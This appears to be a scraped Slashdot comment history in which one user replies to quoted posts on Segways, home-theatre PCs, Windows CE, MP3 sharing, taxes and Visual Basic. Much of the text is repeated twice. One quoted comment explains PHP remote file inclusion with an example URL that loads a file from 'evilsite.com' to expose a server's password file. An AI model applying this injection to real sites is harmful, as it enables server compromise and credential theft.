"So why don't they ban cars in San Francisco, too? Because use of cars is too widespread, and the public would be outraged if you tried to take them away."
Don't you think you're perception of what's going on is a bit narrow? The reason that cars are okay and Segways aren't is because they have roads for cars to drive on. Segways do not. Put a Segway on the road and you get vehicles moving too slow piloted by unlicensed people. Put a Segway on sidewalks and you have motorized vehicles moving faster than pedestrian traffic with no real rules to follow since no license is required.
This isn't knee-jerk reaction, it's common sense. San Fran's the type of place where a LOT of people can afford and will likely indulge in buying these machines.
"Let's all bow our heads and press F5 for a 21-megabit salute."
Ha! Kinda reminds me of the old 'Press Alt-F4 for moderator points!' joke. Heh somebody always falls for that. Fortunately, there's no harm in trying.;)
"This is very fortunate because as Microsoft operating systems naturally bloat more and more, Linux tends to shrink. Eventually people will be forced to stop using Windows because the RAM and CPU costs needed just to run the OS will be prohibitive. "
Wow. People have to try to write stupid shit like this. Glad I got a chance to meta-moderate.
"Just the basics, but important information on how to kill a Roomba if you get trapped in a sci-fi horror flick with one threatening to suck up your breakfast."
Pff, I didn't even bother reading the article. Everybody knows that to kill a Roomba you have to eat a mushroom, grow really big, then jump on it.
"Despite the sentiment of the story, I am seeing a lot of posts here that blame CE. Why is this? CE is just the operating system. It's possible to write bad software under any OS. Blame BMW's engineers, not CE. On the few occasions where my TiVo has frozen or acted screwy, am I allowed to say "it's because they used linux"? Of course not. "
I just wanted to raise the visibility of this guy's comment with my +1. I think he makes a good point.
I'm not defending CE's stability etc, but the evidence (i.e. the videos) looked more like application bugs than OS related issues.
The point I'm making isn't "Don't pick on CE!", it's "Don't be so quick to judge." It's not fruitful.
Then you've been rather unlucky with your VCR. I my experience, it's not unreasonable to expect five-year uptimes...
Except that things move around, stuff gets unplugged, power failures, etc...
And zero maintenance. Try that with a computer.
Define fair maintance.
a.) I always have to put in tapes and take them out. A PC-based PVR has an upgradable hard drive with random access. Storage-wise, it can maintain itself.
b.) Unplug the VCR, reset the clock.
c.) The interface on a PC-based PVR is much simplre and more straightforward than on the over-loaded controls of a VCR. Operator error becomes much less of an issue in this case. I'm not arguing with you for the sake of arguing, I'm sure we've all taped the wrong show because it was set to AM instead of PM.
"It will never get there. Computers are for one thing, TVs for another. The twos can mix, sure, but they're better off both staying separate."
I would contest this comment. I have a TV with a VGA in on it and before I moved I had a computer hooked up to it as a capture box. Not only would it capture TV shows, but stuff I got from other places (DVD rips or shows traded on P2P) could be played on it. I know from experience what this is like and would like to clarify some of the negative comments you made.
"Who needs a set-top box that crashes..."
I ran Win2k on this box. It had an uptime of around 2-3 months before needing a reboot. My VCR can't even go that long without ending up losing it's time and flashing 12:00. With Linux, it'd likely be even better. I'm not entirely sure about that though, I'm fairly certain that Windows wasn't the problem. I'm pretty sure it was a driver issue.
"...or a computer that slows down because it's recording today's episode of Friends?"
That's a semi valid point. If I watched something while the machine was recording, it'd do niether well. The capture would get lagged and the playback would be choppy. Though this was a 400mhz machine, it wouldn't have mattered how fast the machine was. A dual processor solution would have been neceassary. I doubt that a dual processor 500mhz machine would be very expensive today. If the recorder was prioirtized on the second processor and everything else done on the first, it'd be quite fine. On a single processor machine, it's still not that big of deal. If I wanted to watch a show while the machine was recording, I'd just hit it from the network and play the show it had already captured. It didn't cause a noticable drain on the recording. The streams were only 400kbits or so. I can honestly say I've never been bitten in the ass by what you described.
I never played games on this machine (though I know for a fact it'd do just fine with them, it used to be on my desk...) but I did do infrequent websurfing and email checking with it. Despite the low-res NTSC screen, it still more or less worked.
The plus side of this setup was I had a media server to store everything on. Whenver I went out of town I'd just dump a few shows I was interested in watching to my laptop, then I'd have some stuff to watch. Also, while I'm browsing, sometimes I watch a show in a small window. (That's how I kept up on That 70's Show, heh) Being able to click back a few seconds because I didn't catch what got the audience laughing was worthwhile.
Watching videos this way got addictive. Sometimes during commercials I get bored and go check my email or something. Unfortunately, when my attention gets grabbed I tend to miss the rest of the show. That sucks when you're watching something like 24.
All in all, it was a damn nice experience. The biggest problem with my system was the lack of a remote. Oh well. Eventually I'll get it set back up again.
"I've done quite a bit of searching for MP3s in my time, and what I have found (Note: this is not a scientific analysis, just an observation) that few people had complete albums. Just about everybody had one or two songs from a given album. That pattern is suggestive of people hunting around for new music to try, not somebody out to save a few bucks."
Lots of people are probably downloading songs because they have a huge collection of CDs and would rather d/l what's already ripped than try to go through each CD and encode it all.
The more reasons I think about why somebody would download an MP3, the less I think the reason is to save money. It takes quite a few albums to make up the cost of an iPod.
"When federal taxes are cut, the states suffer," said Holden, who is struggling to make up a projected $1 billion budget shortfall. "The problem is that the federal government can run a deficit, but Missouri government must have a balanced budget. We are left with the choice of cutting programs that help citizens."
You know, I hear lots of criticisms of Bush's plan, but I'm not hearing a lot of people with alternative and potentially better plans.
Anybody can whine. They can point out problems with internet taxation, for example. But they can't say "Here's a better idea, chew no this."
Funny thing is that both of you don't seem to understand the idea that the money isn't disappearing, it's just being redistributed. America will cope. Just chill.
Besides, it's painfully obvious that the main reason everybody's critical of it is that they're being critical of the President. All I can say to that is: Grow up.
"the reason this can be dangerous is that php can include files across http urls so I could go to the page with a URL like
webpage.php?theme=http://evilsite.com/
and on evilsite.com have a theme.php file which does something like
So I get the password file spat back to me (obviously evilsite.com has to *not* run php otherwise you get the password file from evilsite.com)."
Heh you just solved a mystery for me. I hang out at a 3D art forum that is visisted by both ameteurs and professionals. One guy (who owns a studio) played an interesting prank on us. He linked to Microsoft's site which had a press release about how his studio was bought by MS to make XBOX games.
He fessed up later that it was a hoax, but I didn't understand how he did it until I read what you said.
Ha that's funnny. Now I haveta look over my PHP code...
"I don't know how much you pay, but here are the numbers for Canada [ccfda.ca]. The CCFDA (Canadian Coalition for Fair Digital Access) is trying to fight it. "
I read recently that they've collected over 28 million, but none of it has yet to reach musicians like they claimed it would.
I didn't exactly have a stunned expression on my face when I read that. I'm sorry, but I don't remember where I read it unless it was on Wired.com within the last week.
"Making of of VB because it doesn't do something another language does is like making fun of cars because they can't fly. Nobody's going to use a 747 to take a trip to 7-11."
A friend of mine ran across a porn site that gave away 10 free images a day. He got sick of manually saving and renaming all of the images from that site at a given interval. One evening I wrote him a little VB app where he could plug in URLs to the JPGs, then set the interval, then set the destination folder so he could automatically download and save the images with incremental file names.
I didn't have to do anything fancy to do this. Most of the hard work (like opening a URL and downloading the images, or the Save As dialog, etc) was already written and ready to go. I just needed to tie it all together with a UI. It's not something I'd want to give away, but for this guy it did exactly what he wanted.
Personally, I think VB'd have a nice little market if it came with Windows. For doing quick little hack jobs it's great. It's hard to justify the price tag it has today.
The content should come to us, we shouldn't come to the content. That's the battle I'm fighting, what's yours.
I don't think he's advocating DRM. I think what he's saying is that by refusing to support the proprietary formats, Windows will have a nasty edge against Linux. The content will flow towards Windows and completely ignore Linux, no matter how big it is on the desktop.
Linux isn't doing anything new that Windows isn't in this area. If anything, Windows is more capable than Linux when it comes to playing media. Yet, the content industries are completely ignoring PC users when it comes to content. I think that's the AC's point. They don't feel they'll make any money on PC because they think people will just trade it with each other. So they don't see it as a loss to not support PC. We, the consumers, don't exactly have them by the balls here.
"I wonder who in their HR department gets a bonus for thinking of posting here, nearly guaranteeing getting the best possible applicant. "
I dunno about that. Lots of people round here have misplaced hatred for Blizzard.
As for your off-topic moderation, I'm a little annoyed by that. I mean seriously, where are you supposed to post about something you just saw? I wonder if the guy who posted "oh shit! A plane just hit the WTC!" got modded down because he was in the "See, we told you guys MS was evil" article.
Slashdot Mirror
"So why don't they ban cars in San Francisco, too? Because use of cars is too widespread, and the public would be outraged if you tried to take them away."
Don't you think you're perception of what's going on is a bit narrow? The reason that cars are okay and Segways aren't is because they have roads for cars to drive on. Segways do not. Put a Segway on the road and you get vehicles moving too slow piloted by unlicensed people. Put a Segway on sidewalks and you have motorized vehicles moving faster than pedestrian traffic with no real rules to follow since no license is required.
This isn't knee-jerk reaction, it's common sense. San Fran's the type of place where a LOT of people can afford and will likely indulge in buying these machines.
"Let's all bow our heads and press F5 for a 21-megabit salute."
;)
Ha! Kinda reminds me of the old 'Press Alt-F4 for moderator points!' joke. Heh somebody always falls for that. Fortunately, there's no harm in trying.
"No because I hate Microsoft and I refuse to see any good that could come from it."
Heh. If you posted that sooner a bunch of other posts would have been modded as redundant.
Too bad I don't think anybody'll see the humor in it.
"This is very fortunate because as Microsoft operating systems naturally bloat more and more, Linux tends to shrink. Eventually people will be forced to stop using Windows because the RAM and CPU costs needed just to run the OS will be prohibitive. "
Wow. People have to try to write stupid shit like this. Glad I got a chance to meta-moderate.
"And a bunch of lonely geeks are reading about getting inside something that's known for sucking really well. "
Slashdot sure does cover a lot of things that suck. "Save Farscape!"
(heh, just being funny, don't kill me.)
"Just the basics, but important information on how to kill a Roomba if you get trapped in a sci-fi horror flick with one threatening to suck up your breakfast."
Pff, I didn't even bother reading the article. Everybody knows that to kill a Roomba you have to eat a mushroom, grow really big, then jump on it.
"Despite the sentiment of the story, I am seeing a lot of posts here that blame CE. Why is this? CE is just the operating system. It's possible to write bad software under any OS. Blame BMW's engineers, not CE. On the few occasions where my TiVo has frozen or acted screwy, am I allowed to say "it's because they used linux"? Of course not. "
I just wanted to raise the visibility of this guy's comment with my +1. I think he makes a good point.
I'm not defending CE's stability etc, but the evidence (i.e. the videos) looked more like application bugs than OS related issues.
The point I'm making isn't "Don't pick on CE!", it's "Don't be so quick to judge." It's not fruitful.
"Apps have bugs, you can't blame Microsoft for that."
Boy does that AC have a point. I work for a software company and I grit my teeth every time we blame MS for a problem that was really our fault.
Then you've been rather unlucky with your VCR. I my experience, it's not unreasonable to expect five-year uptimes...
Except that things move around, stuff gets unplugged, power failures, etc...
And zero maintenance. Try that with a computer.
Define fair maintance.
a.) I always have to put in tapes and take them out. A PC-based PVR has an upgradable hard drive with random access. Storage-wise, it can maintain itself.
b.) Unplug the VCR, reset the clock.
c.) The interface on a PC-based PVR is much simplre and more straightforward than on the over-loaded controls of a VCR. Operator error becomes much less of an issue in this case. I'm not arguing with you for the sake of arguing, I'm sure we've all taped the wrong show because it was set to AM instead of PM.
It's from Japan. It's similar to a photograph, only you read it from right to left.
"Now Linux users everywhere will know what the weather's like outside! "
Normally I'd consider that a cheap joke, but I just noticed before reading your post today that none of my Linux-using coworkers own sunglasses. Heh.
"It will never get there. Computers are for one thing, TVs for another. The twos can mix, sure, but they're better off both staying separate."
I would contest this comment. I have a TV with a VGA in on it and before I moved I had a computer hooked up to it as a capture box. Not only would it capture TV shows, but stuff I got from other places (DVD rips or shows traded on P2P) could be played on it. I know from experience what this is like and would like to clarify some of the negative comments you made.
"Who needs a set-top box that crashes..."
I ran Win2k on this box. It had an uptime of around 2-3 months before needing a reboot. My VCR can't even go that long without ending up losing it's time and flashing 12:00. With Linux, it'd likely be even better. I'm not entirely sure about that though, I'm fairly certain that Windows wasn't the problem. I'm pretty sure it was a driver issue.
"...or a computer that slows down because it's recording today's episode of Friends?"
That's a semi valid point. If I watched something while the machine was recording, it'd do niether well. The capture would get lagged and the playback would be choppy. Though this was a 400mhz machine, it wouldn't have mattered how fast the machine was. A dual processor solution would have been neceassary. I doubt that a dual processor 500mhz machine would be very expensive today. If the recorder was prioirtized on the second processor and everything else done on the first, it'd be quite fine. On a single processor machine, it's still not that big of deal. If I wanted to watch a show while the machine was recording, I'd just hit it from the network and play the show it had already captured. It didn't cause a noticable drain on the recording. The streams were only 400kbits or so. I can honestly say I've never been bitten in the ass by what you described.
I never played games on this machine (though I know for a fact it'd do just fine with them, it used to be on my desk...) but I did do infrequent websurfing and email checking with it. Despite the low-res NTSC screen, it still more or less worked.
The plus side of this setup was I had a media server to store everything on. Whenver I went out of town I'd just dump a few shows I was interested in watching to my laptop, then I'd have some stuff to watch. Also, while I'm browsing, sometimes I watch a show in a small window. (That's how I kept up on That 70's Show, heh) Being able to click back a few seconds because I didn't catch what got the audience laughing was worthwhile.
Watching videos this way got addictive. Sometimes during commercials I get bored and go check my email or something. Unfortunately, when my attention gets grabbed I tend to miss the rest of the show. That sucks when you're watching something like 24.
All in all, it was a damn nice experience. The biggest problem with my system was the lack of a remote. Oh well. Eventually I'll get it set back up again.
"So then, what happens when I crack the screen? Time for an all-new Zaurus?"
This comment might actually be insightful if the original Zaurus or any other Palm/Pocket PC device ever had a VGA out.
"I've done quite a bit of searching for MP3s in my time, and what I have found (Note: this is not a scientific analysis, just an observation) that few people had complete albums. Just about everybody had one or two songs from a given album. That pattern is suggestive of people hunting around for new music to try, not somebody out to save a few bucks."
Lots of people are probably downloading songs because they have a huge collection of CDs and would rather d/l what's already ripped than try to go through each CD and encode it all.
The more reasons I think about why somebody would download an MP3, the less I think the reason is to save money. It takes quite a few albums to make up the cost of an iPod.
"When federal taxes are cut, the states suffer," said Holden, who is struggling to make up a projected $1 billion budget shortfall. "The problem is that the federal government can run a deficit, but Missouri government must have a balanced budget. We are left with the choice of cutting programs that help citizens."
You know, I hear lots of criticisms of Bush's plan, but I'm not hearing a lot of people with alternative and potentially better plans.
Anybody can whine. They can point out problems with internet taxation, for example. But they can't say "Here's a better idea, chew no this."
Funny thing is that both of you don't seem to understand the idea that the money isn't disappearing, it's just being redistributed. America will cope. Just chill.
Besides, it's painfully obvious that the main reason everybody's critical of it is that they're being critical of the President. All I can say to that is: Grow up.
"How many Slashdotters do you think have seen the inside of a gym in the past decade or so? "
I see them all the time. Search for 'uniform schoolgirls'. Heh.
"What do you think about computer games controlled by an exercise bike in your house? It sounds crazy, but it might just work."
Wow, exercise bicycles with video games attached to them? I can't wait until Slashdot covers Rob the Video Robot!
Heh you just solved a mystery for me. I hang out at a 3D art forum that is visisted by both ameteurs and professionals. One guy (who owns a studio) played an interesting prank on us. He linked to Microsoft's site which had a press release about how his studio was bought by MS to make XBOX games.
He fessed up later that it was a hoax, but I didn't understand how he did it until I read what you said.
Ha that's funnny. Now I haveta look over my PHP code...
"You are a moron."
Welcome to Crossfire!
"I don't know how much you pay, but here are the numbers for Canada [ccfda.ca]. The CCFDA (Canadian Coalition for Fair Digital Access) is trying to fight it. "
I read recently that they've collected over 28 million, but none of it has yet to reach musicians like they claimed it would.
I didn't exactly have a stunned expression on my face when I read that. I'm sorry, but I don't remember where I read it unless it was on Wired.com within the last week.
"Making of of VB because it doesn't do something another language does is like making fun of cars because they can't fly. Nobody's going to use a 747 to take a trip to 7-11."
A friend of mine ran across a porn site that gave away 10 free images a day. He got sick of manually saving and renaming all of the images from that site at a given interval. One evening I wrote him a little VB app where he could plug in URLs to the JPGs, then set the interval, then set the destination folder so he could automatically download and save the images with incremental file names.
I didn't have to do anything fancy to do this. Most of the hard work (like opening a URL and downloading the images, or the Save As dialog, etc) was already written and ready to go. I just needed to tie it all together with a UI. It's not something I'd want to give away, but for this guy it did exactly what he wanted.
Personally, I think VB'd have a nice little market if it came with Windows. For doing quick little hack jobs it's great. It's hard to justify the price tag it has today.
The content should come to us, we shouldn't come to the content. That's the battle I'm fighting, what's yours.
I don't think he's advocating DRM. I think what he's saying is that by refusing to support the proprietary formats, Windows will have a nasty edge against Linux. The content will flow towards Windows and completely ignore Linux, no matter how big it is on the desktop.
Linux isn't doing anything new that Windows isn't in this area. If anything, Windows is more capable than Linux when it comes to playing media. Yet, the content industries are completely ignoring PC users when it comes to content. I think that's the AC's point. They don't feel they'll make any money on PC because they think people will just trade it with each other. So they don't see it as a loss to not support PC. We, the consumers, don't exactly have them by the balls here.
"I wonder who in their HR department gets a bonus for thinking of posting here, nearly guaranteeing getting the best possible applicant. "
I dunno about that. Lots of people round here have misplaced hatred for Blizzard.
As for your off-topic moderation, I'm a little annoyed by that. I mean seriously, where are you supposed to post about something you just saw? I wonder if the guy who posted "oh shit! A plane just hit the WTC!" got modded down because he was in the "See, we told you guys MS was evil" article.
Oh well, I'll get modded down too. Yay.
"Priorities first."
"Futurama."
My kingdom for a mod point.
"A comma before 'please', would be nice. In future, please don't write in the passive voice."
Only if you agree not to write in the assive voice over a comma.